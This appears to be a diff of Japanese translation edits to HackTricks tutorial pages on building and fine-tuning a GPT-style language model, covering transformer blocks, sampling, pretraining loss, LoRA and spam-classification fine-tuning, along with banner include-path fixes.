- **注意スコア:** クエリとキーのドット積として計算され、スケーリングとマスキングが行われます。
|
||||
- **マスキング:** 将来のトークンにモデルが注意を向けないように因果マスクが適用されます(GPTのような自己回帰モデルにとって重要です)。
|
||||
- **注意重み:** マスクされたスケーリングされた注意スコアのソフトマックス。
|
||||
- **コンテキストベクター:** 注意重みに従った値の加重和。
|
||||
- **コンテキストベクトル:** 注意重みに従った値の重み付き合計。
|
||||
- **出力射影:** すべてのヘッドの出力を組み合わせるための線形層。
|
||||
|
||||
> [!TIP]
|
||||
@ -296,15 +296,15 @@ return self.scale * norm_x + self.shift
|
||||
- **レイヤー正規化:** バッチ内の各個別の例に対して、特徴(埋め込み次元)全体で入力を正規化するために使用される技術。
|
||||
- **コンポーネント:**
|
||||
- **`eps`:** 正規化中のゼロ除算を防ぐために分散に追加される小さな定数(`1e-5`)。
|
||||
- **`scale` と `shift`:** 正規化された出力をスケールおよびシフトするためにモデルが学習可能なパラメータ(`nn.Parameter`)。それぞれ1と0で初期化される。
|
||||
- **`scale` と `shift`:** 正規化された出力をスケーリングおよびシフトするためにモデルが学習可能なパラメータ(`nn.Parameter`)。それぞれ1と0で初期化される。
|
||||
- **正規化プロセス:**
|
||||
- **平均の計算(`mean`):** 埋め込み次元(`dim=-1`)全体で入力 `x` の平均を計算し、ブロードキャストのために次元を保持する(`keepdim=True`)。
|
||||
- **分散の計算(`var`):** 埋め込み次元全体で `x` の分散を計算し、同様に次元を保持する。`unbiased=False` パラメータは、バイアス推定量を使用して分散が計算されることを保証する(`N-1` ではなく `N` で割る)。これは、サンプルではなく特徴に対して正規化する際に適切である。
|
||||
- **分散の計算(`var`):** 埋め込み次元全体で `x` の分散を計算し、同様に次元を保持する。`unbiased=False` パラメータは、分散がバイアス推定量を使用して計算されることを保証する(`N` で割る代わりに `N-1` で割る)。これは、サンプルではなく特徴に対して正規化する際に適切である。
|
||||
- **正規化(`norm_x`):** `x` から平均を引き、分散に `eps` を加えた平方根で割る。
|
||||
- **スケールとシフト:** 正規化された出力に学習可能な `scale` と `shift` パラメータを適用する。
|
||||
|
||||
> [!TIP]
|
||||
> 目標は、同じトークンのすべての次元で平均0、分散1を確保することです。これにより、**深層ニューラルネットワークのトレーニングを安定させる**ことが目的であり、これはトレーニング中のパラメータの更新によるネットワークの活性化の分布の変化を指す内部共変量シフトを減少させることに関連しています。
|
||||
> 目標は、同じトークンのすべての次元で平均が0、分散が1になるようにすることです。これにより、**深層ニューラルネットワークのトレーニングを安定させる**ことが目的であり、これはトレーニング中のパラメータの更新によるネットワークの活性化の分布の変化を指す内部共変量シフトを減少させることに関連しています。
|
||||
|
||||
### **トランスフォーマーブロック**
|
||||
|
||||
@ -351,9 +351,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
#### **目的と機能**
|
||||
|
||||
- **層の構成:** マルチヘッドアテンション、フィードフォワードネットワーク、レイヤーノーマライゼーション、残差接続を組み合わせる。
|
||||
- **レイヤーノーマライゼーション:** 安定したトレーニングのためにアテンションとフィードフォワード層の前に適用される。
|
||||
- **レイヤーノーマライゼーション:** 安定したトレーニングのためにアテンション層とフィードフォワード層の前に適用される。
|
||||
- **残差接続(ショートカット):** 層の入力を出力に加えて勾配の流れを改善し、深いネットワークのトレーニングを可能にする。
|
||||
- **ドロップアウト:** 正則化のためにアテンションとフィードフォワード層の後に適用される。
|
||||
- **ドロップアウト:** 正則化のためにアテンション層とフィードフォワード層の後に適用される。
|
||||
|
||||
#### **ステップバイステップの機能**
|
||||
|
||||
@ -374,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> トランスフォーマーブロックはすべてのネットワークをグループ化し、トレーニングの安定性と結果を改善するためにいくつかの**正規化**と**ドロップアウト**を適用します。\
|
||||
> 各ネットワークの使用後にドロップアウトが行われ、正規化が前に適用されることに注意してください。
|
||||
>
|
||||
> さらに、ショートカットを使用しており、これは**ネットワークの出力をその入力に加える**ことから成ります。これにより、初期層が最後の層と「同じくらい」寄与することを確実にすることで、消失勾配問題を防ぐのに役立ちます。
|
||||
> さらに、**ネットワークの出力をその入力に加える**ショートカットも使用しています。これにより、初期層が最後の層と「同じくらい」寄与することを確実にすることで、消失勾配問題を防ぐのに役立ちます。
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
@ -446,13 +446,13 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
> [!TIP]
|
||||
> このクラスの目的は、**シーケンス内の次のトークンを予測する**ために、他のすべてのネットワークを使用することです。これはテキスト生成のようなタスクにとって基本的です。
|
||||
>
|
||||
> 指定された数のトランスフォーマーブロックを**使用する**ことに注意してください。また、各トランスフォーマーブロックは1つのマルチヘッドアテンションネット、1つのフィードフォワードネット、およびいくつかの正規化を使用しています。したがって、12のトランスフォーマーブロックが使用される場合は、これを12倍します。
|
||||
> 指定された数のトランスフォーマーブロックを**使用する**ことに注意してください。また、各トランスフォーマーブロックは、1つのマルチヘッドアテンションネット、1つのフィードフォワードネット、およびいくつかの正規化を使用しています。したがって、12のトランスフォーマーブロックが使用される場合は、これを12倍します。
|
||||
>
|
||||
> さらに、**出力**の**前に**正規化層が追加され、最後に適切な次元で結果を得るために最終線形層が適用されます。各最終ベクトルが使用される語彙のサイズを持つことに注意してください。これは、語彙内の可能なトークンごとに確率を得ようとしているためです。
|
||||
|
||||
## トレーニングするパラメータの数
|
||||
|
||||
GPT構造が定義されると、トレーニングするパラメータの数を見つけることが可能です:
|
||||
GPT構造が定義されたので、トレーニングするパラメータの数を見つけることが可能です:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
@ -612,7 +612,7 @@ total_params = 163,009,536
|
||||
|
||||
次のトークンを予測するモデルがあれば、出力から最後のトークンの値を取得するだけで済みます(それが予測されたトークンの値になります)。これは**語彙内の各エントリごとの値**となり、次に`softmax`関数を使用して次元を確率に正規化し、合計が1になるようにします。そして、最大のエントリのインデックスを取得します。これが語彙内の単語のインデックスになります。
|
||||
|
||||
コードは[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb)から。
|
||||
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 6. プレトレーニングとモデルのロード
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## テキスト生成
|
||||
|
||||
モデルをトレーニングするためには、そのモデルが新しいトークンを生成できる必要があります。次に、生成されたトークンを期待されるトークンと比較し、モデルが**生成する必要のあるトークンを学習する**ようにトレーニングします。
|
||||
|
||||
前の例でいくつかのトークンを予測したので、その関数をこの目的のために再利用することが可能です。
|
||||
前の例のように、すでにいくつかのトークンを予測しているため、その関数をこの目的のために再利用することが可能です。
|
||||
|
||||
> [!TIP]
|
||||
> この第六段階の目標は非常にシンプルです:**モデルをゼロからトレーニングする**。これには、定義された損失関数とオプティマイザーを使用してデータセットをループし、モデルのすべてのパラメータをトレーニングするために、前のLLMアーキテクチャが使用されます。
|
||||
@ -18,14 +18,14 @@
|
||||
正しいトークンの確率を最大化するためには、モデルの重みを修正してその確率が最大化される必要があります。重みの更新は**バックプロパゲーション**を介して行われます。これには**最大化する損失関数**が必要です。この場合、関数は**実行された予測と望ましいものとの違い**になります。
|
||||
|
||||
ただし、生の予測で作業するのではなく、底がnの対数で作業します。したがって、期待されるトークンの現在の予測が7.4541e-05であった場合、**7.4541e-05**の自然対数(底*e*)は約**-9.5042**です。\
|
||||
次に、例えばコンテキスト長が5トークンの各エントリについて、モデルは5つのトークンを予測する必要があり、最初の4つのトークンは入力の最後のものであり、5つ目が予測されたものです。したがって、その場合、各エントリについて5つの予測が得られます(最初の4つが入力にあったとしても、モデルはこれを知りません)ので、5つの期待されるトークンがあり、したがって最大化する必要がある5つの確率があります。
|
||||
次に、例えばコンテキスト長が5トークンの各エントリについて、モデルは5トークンを予測する必要があり、最初の4トークンは入力の最後のものであり、5番目が予測されたものです。したがって、その場合、各エントリについて5つの予測が得られます(最初の4つが入力にあったとしても、モデルはこれを知りません)ので、5つの期待されるトークンがあり、したがって最大化する5つの確率があります。
|
||||
|
||||
したがって、各予測に自然対数を適用した後、**平均**が計算され、**マイナス記号が取り除かれ**(これを_クロスエントロピー損失_と呼びます)、それが**できるだけ0に近づけるべき数**です。なぜなら、1の自然対数は0だからです:
|
||||
したがって、各予測に自然対数を適用した後、**平均**が計算され、**マイナス記号が削除され**(これを_クロスエントロピー損失_と呼びます)、それが**0にできるだけ近づけるべき数値**になります。なぜなら、1の自然対数は0だからです:
|
||||
|
||||
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
モデルの良さを測定する別の方法は、パープレキシティと呼ばれます。**パープレキシティ**は、確率モデルがサンプルを予測する能力を評価するために使用される指標です。言語モデルでは、次のトークンをシーケンスで予測する際の**モデルの不確実性**を表します。\
|
||||
例えば、48725のパープレキシティ値は、トークンを予測する必要があるときに、語彙の中の48,725トークンのどれが良いのか不確かであることを意味します。
|
||||
例えば、48725のパープレキシティ値は、トークンを予測する必要があるときに、語彙の中で48,725のトークンのどれが良いのか不確かであることを意味します。
|
||||
|
||||
## プレトレインの例
|
||||
|
||||
@ -543,13 +543,13 @@ return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
### テキスト生成関数
|
||||
|
||||
前のセクションでは、**最も可能性の高いトークン**をロジットから取得する関数がありました。しかし、これは各エントリに対して常に同じ出力が生成されることを意味し、非常に決定論的になります。
|
||||
前のセクションでは、**最も確率の高いトークン**をロジットから取得する関数がありました。しかし、これは各エントリに対して常に同じ出力が生成されることを意味し、非常に決定論的になります。
|
||||
|
||||
以下の`generate_text`関数は、`top-k`、`temperature`、および`multinomial`の概念を適用します。
|
||||
|
||||
- **`top-k`**は、上位kトークンを除くすべてのトークンの確率を`-inf`に減少させることを意味します。したがって、k=3の場合、決定を下す前に、最も可能性の高い3つのトークンのみが`-inf`以外の確率を持ちます。
|
||||
- **`temperature`**は、すべての確率を温度値で割ることを意味します。値が`0.1`の場合、最も高い確率が最も低い確率と比較して改善されますが、例えば温度が`5`の場合は、より平坦になります。これは、LLMに持たせたい応答の変動を改善するのに役立ちます。
|
||||
- 温度を適用した後、**`softmax`**関数が再度適用され、残りのすべてのトークンが合計確率1を持つようになります。
|
||||
- **`top-k`**は、上位kトークンを除くすべてのトークンの確率を`-inf`に減少させることを意味します。したがって、k=3の場合、決定を下す前に、最も確率の高い3つのトークンのみが`-inf`以外の確率を持ちます。
|
||||
- **`temperature`**は、すべての確率を温度値で割ることを意味します。値が`0.1`の場合、最も高い確率が最も低い確率と比較して改善されますが、例えば温度が`5`の場合は、より平坦になります。これは、LLMが持つべき応答の変動を改善するのに役立ちます。
|
||||
- 温度を適用した後、**`softmax`**関数が再度適用され、残りのトークンの合計確率が1になるようにします。
|
||||
- 最後に、最も高い確率のトークンを選択するのではなく、関数**`multinomial`**が適用されて**最終確率に基づいて次のトークンを予測します**。したがって、トークン1が70%の確率を持ち、トークン2が20%、トークン3が10%の場合、70%の確率でトークン1が選択され、20%の確率でトークン2が選択され、10%の確率でトークン3が選択されます。
|
||||
```python
|
||||
# Generate text function
|
||||
@ -592,7 +592,7 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> `top-k`の一般的な代替手段として[**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)があります。これは、最も確率の高いkサンプルを取得するのではなく、すべての結果の**語彙**を確率で**整理**し、最も高い確率から最も低い確率まで**合計**して**閾値に達するまで**続けます。
|
||||
> `top-k`の一般的な代替手段として、[**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)(核サンプリングとも呼ばれる)があり、これは最も確率の高いkサンプルを取得するのではなく、すべての結果の**語彙**を確率で**整理**し、最も高い確率から最も低い確率まで**合計**して**閾値に達するまで**行います。
|
||||
>
|
||||
> その後、**語彙の中で**相対的な確率に応じて**のみ**考慮される単語になります。
|
||||
>
|
||||
@ -602,7 +602,7 @@ return idx
|
||||
|
||||
> [!TIP]
|
||||
> 生成されたテキストを改善する別の方法は、この例で使用されている貪欲探索の代わりに**ビームサーチ**を使用することです。\
|
||||
> 貪欲探索とは異なり、各ステップで最も確率の高い次の単語を選択して単一のシーケンスを構築するのではなく、**ビームサーチは各ステップで最もスコアの高い𝑘 kの部分シーケンス**(「ビーム」と呼ばれる)を追跡します。複数の可能性を同時に探索することで、効率と品質のバランスを取り、貪欲なアプローチによる早期の最適でない選択によって見逃される可能性のある**より良い全体の**シーケンスを見つけるチャンスを増やします。
|
||||
> 貪欲探索とは異なり、各ステップで最も確率の高い次の単語を選択して単一のシーケンスを構築するのではなく、**ビームサーチは各ステップで上位𝑘のスコアが最も高い部分シーケンス**(「ビーム」と呼ばれる)を追跡します。複数の可能性を同時に探索することで、効率と品質のバランスを取り、貪欲なアプローチによる早期の最適でない選択によって見逃される可能性のある**より良い全体の**シーケンスを見つけるチャンスを増やします。
|
||||
>
|
||||
> _この改善は前のコードには含まれていないことに注意してください。_
|
||||
|
||||
@ -637,7 +637,7 @@ break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
> [!TIP]
|
||||
> **勾配クリッピング**は、**トレーニングの安定性**を向上させるために、大規模なニューラルネットワークで使用される技術で、勾配の大きさに対して**最大閾値**を設定します。勾配がこの事前定義された`max_norm`を超えると、モデルのパラメータへの更新が管理可能な範囲内に収まるように比例してスケーリングされ、勾配爆発のような問題を防ぎ、より制御された安定したトレーニングを確保します。
|
||||
> **勾配クリッピング**は、**トレーニングの安定性**を向上させるために、大規模なニューラルネットワークで使用される技術で、勾配の大きさに対して**最大閾値**を設定します。勾配がこの事前定義された`max_norm`を超えると、モデルのパラメータへの更新が管理可能な範囲内に収まるように比例してスケールダウンされ、勾配爆発のような問題を防ぎ、より制御された安定したトレーニングを確保します。
|
||||
>
|
||||
> _この改善は前のコードには含まれていないことに注意してください。_
|
||||
>
|
||||
@ -657,7 +657,7 @@ return total_loss / num_batches
|
||||
|
||||
また、**ストライドがコンテキストの長さと同じ大きさである**という事実は、データをトレーニングするために使用されるコンテキスト間に重複がないことを意味します(過剰適合を減少させますが、トレーニングデータセットも減少させます)。
|
||||
|
||||
さらに、この場合のバッチサイズは2で、データを2つのバッチに分割します。これにより、並列処理を可能にし、バッチごとの消費を減らすことが主な目的です。
|
||||
さらに、この場合のバッチサイズは2で、データを2つのバッチに分割します。これの主な目的は、並列処理を可能にし、バッチごとの消費を減らすことです。
|
||||
```python
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
@ -688,7 +688,7 @@ num_workers=0
|
||||
```
|
||||
## サニティチェック
|
||||
|
||||
目的は、トレーニングに十分なトークンがあるか、形状が期待通りであるかを確認し、トレーニングと検証に使用されるトークンの数に関する情報を取得することです:
|
||||
目的は、トレーニングに十分なトークンがあるか、形状が期待通りであるかを確認し、トレーニングおよび検証に使用されるトークンの数に関する情報を取得することです。
|
||||
```python
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
@ -723,7 +723,7 @@ print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
### トレーニングと事前計算のためのデバイスを選択
|
||||
|
||||
次のコードは、使用するデバイスを選択し、トレーニングロスとバリデーションロスを計算します(まだ何もトレーニングしていない状態で)出発点として。
|
||||
次のコードは、使用するデバイスを選択し、トレーニングロスとバリデーションロス(まだ何もトレーニングしていない状態で)を出発点として計算します。
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
@ -761,8 +761,8 @@ print("Validation loss:", val_loss)
|
||||
- トレーニング中に使用する**オプティマイザー**:これは勾配を使用し、ロスを減少させるためにパラメータを更新する関数です。この場合、見ての通り `AdamW` が使用されますが、他にも多くのものがあります。
|
||||
- `optimizer.zero_grad()` は、勾配を蓄積しないように各ラウンドでリセットするために呼び出されます。
|
||||
- **`lr`** パラメータは **学習率** で、モデルのパラメータを更新する際の最適化プロセス中に取られる **ステップのサイズ** を決定します。**小さい** 学習率は、オプティマイザーが重みを **小さく更新** することを意味し、より **正確な** 収束をもたらす可能性がありますが、トレーニングが **遅くなる** 可能性があります。**大きい** 学習率はトレーニングを加速できますが、ロス関数の最小値を **オーバーシュートする** リスクがあります(ロス関数が最小化される点を **飛び越える**)。
|
||||
- **ウェイトデケイ** は、重みが大きいことにペナルティを与える追加の項を加えることで **ロス計算** ステップを修正します。これにより、オプティマイザーはデータにうまくフィットしつつ、モデルをシンプルに保ち、機械学習モデルのオーバーフィッティングを防ぐために、特定の特徴に過度の重要性を与えないようにします。
|
||||
- SGDのような従来のオプティマイザーは、L2正則化とともにウェイトデケイをロス関数の勾配と結びつけます。しかし、**AdamW**(Adamオプティマイザーの変種)は、ウェイトデケイを勾配更新から切り離し、より効果的な正則化を実現します。
|
||||
- **ウェイトデケイ** は、重みが大きいことにペナルティを与える追加の項を加えることで **ロス計算** ステップを修正します。これにより、オプティマイザーはデータにうまくフィットしつつ、モデルをシンプルに保ち、機械学習モデルの過学習を防ぐために、特定の特徴に過度の重要性を与えないようにします。
|
||||
- SGDのような従来のオプティマイザーは、L2正則化とともにウェイトデケイをロス関数の勾配と結びつけます。しかし、**AdamW**(Adamオプティマイザーの変種)は、勾配更新からウェイトデケイを切り離し、より効果的な正則化を実現します。
|
||||
- トレーニングに使用するデバイス
|
||||
- エポック数:トレーニングデータを何回通過するか
|
||||
- 評価頻度:`evaluate_model` を呼び出す頻度
|
||||
@ -833,7 +833,7 @@ model.train() # Back to training model applying all the configurations
|
||||
> 学習率を改善するために、**線形ウォームアップ**と**コサイン減衰**と呼ばれるいくつかの関連技術があります。
|
||||
>
|
||||
> **線形ウォームアップ**は、初期学習率と最大学習率を定義し、各エポックの後に一貫して更新することです。これは、より小さな重みの更新でトレーニングを開始することで、モデルがトレーニングフェーズ中に大きく不安定な更新に遭遇するリスクを減少させるためです。\
|
||||
> **コサイン減衰**は、**ウォームアップ**フェーズの後に半コサイン曲線に従って学習率を**徐々に減少させる**技術であり、重みの更新を遅くして**損失の最小値を超えるリスクを最小限に抑え**、後のフェーズでのトレーニングの安定性を確保します。
|
||||
> **コサイン減衰**は、**ウォームアップ**フェーズの後に半コサイン曲線に従って学習率を**徐々に減少させる**技術であり、重みの更新を遅くして**損失の最小値をオーバーシュートするリスクを最小限に抑え**、後のフェーズでのトレーニングの安定性を確保します。
|
||||
>
|
||||
> _これらの改善は前のコードには含まれていないことに注意してください。_
|
||||
|
||||
@ -943,4 +943,4 @@ GPT2の重みをローカルに読み込むための2つの簡単なスクリプ
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,24 +1,24 @@
|
||||
# 7.0. LoRAの微調整における改善
|
||||
# 7.0. LoRAのファインチューニングにおける改善
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LoRAの改善
|
||||
|
||||
> [!TIP]
|
||||
> **LoRAを使用することで、微調整に必要な計算が大幅に削減されます**。
|
||||
> **LoRAを使用することで、ファインチューニングに必要な計算が大幅に削減されます**。
|
||||
|
||||
LoRAは、モデルの**小さな部分**のみを変更することで、**大規模モデル**を効率的に微調整することを可能にします。これにより、トレーニングに必要なパラメータの数が減り、**メモリ**と**計算リソース**を節約できます。これは以下の理由によります:
|
||||
LoRAは、モデルの**小さな部分**のみを変更することで、**大規模モデル**を効率的にファインチューニングすることを可能にします。これにより、トレーニングする必要のあるパラメータの数が減り、**メモリ**と**計算リソース**が節約されます。これは以下の理由によります:
|
||||
|
||||
1. **トレーニング可能なパラメータの数を削減**: モデル内の全体の重み行列を更新する代わりに、LoRAは重み行列を2つの小さな行列(**A**と**B**と呼ばれる)に**分割**します。これにより、トレーニングが**速く**なり、更新する必要のあるパラメータが少ないため、**メモリ**も**少なく**て済みます。
|
||||
1. **トレーニング可能なパラメータの数を削減**: モデル内の全体の重み行列を更新する代わりに、LoRAは重み行列を2つの小さな行列(**A**と**B**)に**分割**します。これにより、トレーニングが**速く**なり、更新する必要のあるパラメータが少ないため、**メモリ**も**少なく**て済みます。
|
||||
|
||||
1. これは、レイヤー(行列)の完全な重み更新を計算する代わりに、2つの小さな行列の積に近似するため、計算する更新が減少するからです:\
|
||||
1. これは、レイヤー(行列)の完全な重み更新を計算する代わりに、2つの小さな行列の積に近似するため、計算する更新が減少します:\
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **元のモデルの重みを変更しない**: LoRAを使用すると、元のモデルの重みをそのままにしておき、**新しい小さな行列**(AとB)だけを更新できます。これは、モデルの元の知識が保持され、必要な部分だけを調整することを意味するため、便利です。
|
||||
3. **効率的なタスク特化型微調整**: モデルを**新しいタスク**に適応させたい場合、モデルの残りの部分をそのままにしておき、**小さなLoRA行列**(AとB)だけをトレーニングすればよいです。これは、モデル全体を再トレーニングするよりも**はるかに効率的**です。
|
||||
4. **ストレージ効率**: 微調整後、各タスクのために**新しいモデル全体**を保存する代わりに、**LoRA行列**だけを保存すればよく、これはモデル全体に比べて非常に小さいです。これにより、多くのタスクにモデルを適応させる際に、過剰なストレージを使用せずに済みます。
|
||||
3. **効率的なタスク特化型ファインチューニング**: モデルを**新しいタスク**に適応させたい場合、モデルの残りの部分をそのままにして、**小さなLoRA行列**(AとB)だけをトレーニングすればよいです。これは、モデル全体を再トレーニングするよりも**はるかに効率的**です。
|
||||
4. **ストレージ効率**: ファインチューニング後、各タスクのために**新しいモデル全体**を保存する代わりに、**LoRA行列**だけを保存すればよく、これはモデル全体に比べて非常に小さいです。これにより、あまりストレージを使用せずにモデルを多くのタスクに適応させることが容易になります。
|
||||
|
||||
微調整中にLinearの代わりにLoraLayersを実装するために、ここに提案されたコードがあります [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
ファインチューニング中にLinearの代わりにLoraLayersを実装するために、ここで提案されているコードがあります [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
@ -61,4 +61,4 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
### Data set size
|
||||
|
||||
もちろん、モデルをファインチューニングするためには、LLMを専門化するために使用する構造化データが必要です。[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)で提案された例では、GPT2は、[https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)のデータを使用して、メールがスパムかどうかを検出するようにファインチューニングされています。
|
||||
もちろん、モデルをファインチューニングするためには、LLMを専門化するために使用する構造化データが必要です。[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)で提案された例では、GPT2は、[https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)のデータを使用して、メールがスパムかどうかを検出するためにファインチューニングされています。
|
||||
|
||||
このデータセットには「スパムでない」例が「スパム」よりもはるかに多く含まれているため、本書では**「スパムでない」例を「スパム」と同じ数だけのみ使用する**ことを提案しています(したがって、トレーニングデータから余分な例を削除します)。この場合、各747例でした。
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
|
||||
### Entries length
|
||||
|
||||
トレーニング例は同じ長さのエントリ(この場合はメールのテキスト)を期待するため、すべてのエントリを最大のものと同じ大きさにすることに決定し、`<|endoftext|>`のIDをパディングとして追加しました。
|
||||
トレーニング例は同じ長さのエントリ(この場合はメールテキスト)を期待するため、すべてのエントリを最大のものと同じ大きさにすることに決定し、`<|endoftext|>`のIDをパディングとして追加しました。
|
||||
|
||||
### Initialize the model
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
|
||||
## Classification head
|
||||
|
||||
この特定の例(テキストがスパムかどうかを予測する)では、GPT2の完全な語彙に基づいてファインチューニングすることには興味がなく、新しいモデルにはメールがスパム(1)かどうか(0)を言わせたいだけです。したがって、語彙の各トークンの確率を提供する最終層を、スパムかどうかの確率のみを提供するものに**変更します**(つまり、2語の語彙のように)。
|
||||
この特定の例(テキストがスパムかどうかを予測する)では、GPT2の完全な語彙に従ってファインチューニングすることには興味がなく、新しいモデルにはメールがスパム(1)かどうか(0)を言わせたいだけです。したがって、語彙の各トークンの確率を提供する最終層を、スパムかどうかの確率のみを提供するものに**変更します**(つまり、2語の語彙のように)。
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
@ -49,7 +49,7 @@ out_features=num_classes
|
||||
```
|
||||
## 調整するパラメータ
|
||||
|
||||
迅速にファインチューニングを行うためには、すべてのパラメータを調整するのではなく、最終的なパラメータの一部のみを調整する方が簡単です。これは、下層が一般的に基本的な言語構造と適用可能な意味論を捉えることが知られているためです。したがって、**最後の層だけをファインチューニングすることが通常は十分であり、より速いです**。
|
||||
迅速にファインチューニングを行うためには、すべてのパラメータを調整するのではなく、最終的なパラメータの一部のみを調整する方が簡単です。これは、下層が一般的に基本的な言語構造と適用可能な意味論を捉えることが知られているためです。したがって、**最後の層のみをファインチューニングすることが通常は十分であり、より速いです**。
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
@ -105,10 +105,10 @@ return loss
|
||||
|
||||
## 完全なGPT2ファインチューニング分類コード
|
||||
|
||||
GPT2をスパム分類器としてファインチューニングするためのすべてのコードは、[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)で見つけることができます。
|
||||
GPT2をスパム分類器にファインチューニングするためのすべてのコードは、[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)で見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 7.2. 指示に従うためのファインチューニング
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> このセクションの目的は、**テキストを生成するだけでなく、チャットボットとしてタスクに応答するなど、指示に従うように既に事前トレーニングされたモデルをファインチューニングする方法を示すこと**です。
|
||||
> このセクションの目的は、**テキストを生成するだけでなく、チャットボットとしてタスクに応答するなど、指示に従うように既に事前トレーニングされたモデルをファインチューニングする方法**を示すことです。
|
||||
|
||||
## データセット
|
||||
|
||||
